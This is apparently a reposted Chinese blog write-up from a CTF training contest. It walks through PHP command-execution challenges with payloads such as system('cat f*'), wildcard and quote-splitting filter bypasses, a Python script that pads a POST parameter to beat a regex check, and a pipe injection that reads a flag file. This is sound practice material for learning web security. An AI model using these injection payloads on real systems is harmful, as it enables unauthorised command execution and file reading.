首页 > 其他分享 >CTF集训赛

CTF集训赛

时间:2024-07-23 12:24:39浏览次数:9  
标签:url text req flag CTF time php 集训

CTF集训赛

php命令执行

image-20240716203927047

涉及的知识点是通用符,执行/?c=system(“ls /”); 最后的;不要忘

?c=echo system(‘cat f*’);

有的时候也可以code=system(‘ca\t /f星’)或者 code=system(‘strings /f*’) code=system(‘ca"t /f*’)

php命令执行puls

image-20240716213042598

import requests

res = requests.post("http://gz.imxbt.cn:20247/?hongmeng[]=1&shennong[]=2&zhurong[]=1",data = {"pan_gu":"-"*1000000+"2023ISCTF"})
print(res.text)

fuzz

image-20240716211051516

[a-z]可以绕过任意一个字母,"|"没过滤可以放在开头结束前面的curl,然后再拼接系统命令

?file=|tac /fl[a-z]ggggggg.txt

?file=f{i}l{e}

标签:url,text,req,flag,CTF,time,php,集训
From: https://blog.csdn.net/wanfengchuifu/article/details/140632520

相关文章

  • 暑假集训CSP提高模拟5
    听好了:7月22日,比样的学长就此陷落。每个陷落的学长都将迎来一场模拟赛,为这些模拟赛带来全新的题面。你所熟知的一切都将改变,你所熟悉的算法都将加诸比样的考验。至此,一锤定音。尘埃,已然落定。#听好了#听好了#听好了啥?你不知道这是什么梗?其实是Arcaea公式说话喜欢......
  • 2024暑假集训测试9
    前言比赛链接。一点部分分没打感觉要被D了。赛时题面和数据好像有出了点问题,不过我T3没做换数据不关我的事,但是T1还特殊考虑了\(a_i<0\)的情况,实则不用。T2理解错题了硬控\(2\)个多小时,发现之后改改就过了,但T3、T4没时间看了。但是这次终于不挂分了。T1简......
  • 如何为 NYU 数据集训练 Yolo 3D
    我已经在KITTI数据集上训练了我的Yolo3D模型,现在我想在NYU数据集上训练它。为了在YOLO3D模型中训练它,我必须对NYU数据集进行哪些更改?我想知道YOLO3D接受的数据集格式。(编辑)我使用的模型是YOLO3D-lightninghttps://github.com/ruhyadi/yolo3d-ligh......
  • 『模拟赛』暑假集训CSP提高模拟5
    Rank痛失Rank2A.简单的序列签到题。读入的时候直接处理。比上一个小就从上一位开始除以二,一直到某一位比上一位大或到了第一位为止。Code:#include<bits/stdc++.h>#definefo(x,y,z)for(registerint(x)=(y);(x)<=(z);(x)++)#definefu(x,y,z)for(registerint(......
  • 2024信友队蓝润暑期集训提高1班②Day7
    知识总结Tarjan算法Tarjan算法是一种用于计算有向图中强连通分量的算法。Tarjan算法的基本思想是:首先,将图中每个节点标记为未访问。然后,从某个节点开始,对该节点进行DFS,并记录该节点的入度(即该节点的邻居个数)。对于每个节点,如果其入度为0,则说明它是一个根节点,将它标记......
  • BUUCTF [安洵杯 2019]easy_web
    上来看到url两个参数直接sqlmap挂着扫,dirsearch和githack扫都没东西,然后sqlmap也没有成果ctrl+U查看源码发现以base64编码输出了文件的内容,返回看url只有img参数有东西这个东西看着就像base64编码,解码两次得到一串数字,可能还是什么东西我又解了一次,发现是十六进制转字符......
  • GZCTF比赛平台搭建——单Docker部署
    GZCTF是一个开源的网络安全竞赛平台,采用微服务架构,提供React.js前端和Django后端,支持用户通过解决实际安全问题提升技能。平台具有权限控制、加密通信和自定义赛事等功能,适用于初学者、教育机构和企业培训等场景。首先放出GZCTF官方文档,有一定基础的可以前往查看。GZCTF官方......
  • DASCTF 2023六月挑战赛|二进制专项 PWN (上)
    DASCTF2023六月挑战赛|二进制专项PWN(上)1.easynoteedit函数对长度没有检查free函数存在UAF漏洞思路:1.通过堆溢出,UAF,修改size位达到堆块重叠,使用fastbinattack,把__malloc_hook,写入one_gadget2.通过unlink修改freegot表为systemexp:frompwnimport*context(log_lev......
  • 【Web】ImaginaryCTF 2024 部分题解
    目录journalcrystalsP2CreadmeTheAmazingRacejournal简单的assert命令拼接payload:?file=test','..')===true||system("echo`tac/flag-cARdaInFg6dD10uWQQgm.txt`")||strpos('testcrystalsdocker-compose.yml里让服务报错读到泄露的hos......
  • DASCTF 2023六月挑战赛|二进制专项 PWN (上)
    DASCTF2023六月挑战赛|二进制专项PWN(上)1.easynoteedit函数对长度没有检查free函数存在UAF漏洞思路:1.通过堆溢出,UAF,修改size位达到堆块重叠,使用fastbinattack,把__malloc_hook,写入one_gadget2.通过unlink修改freegot表为systemexp:frompwnimport*context(lo......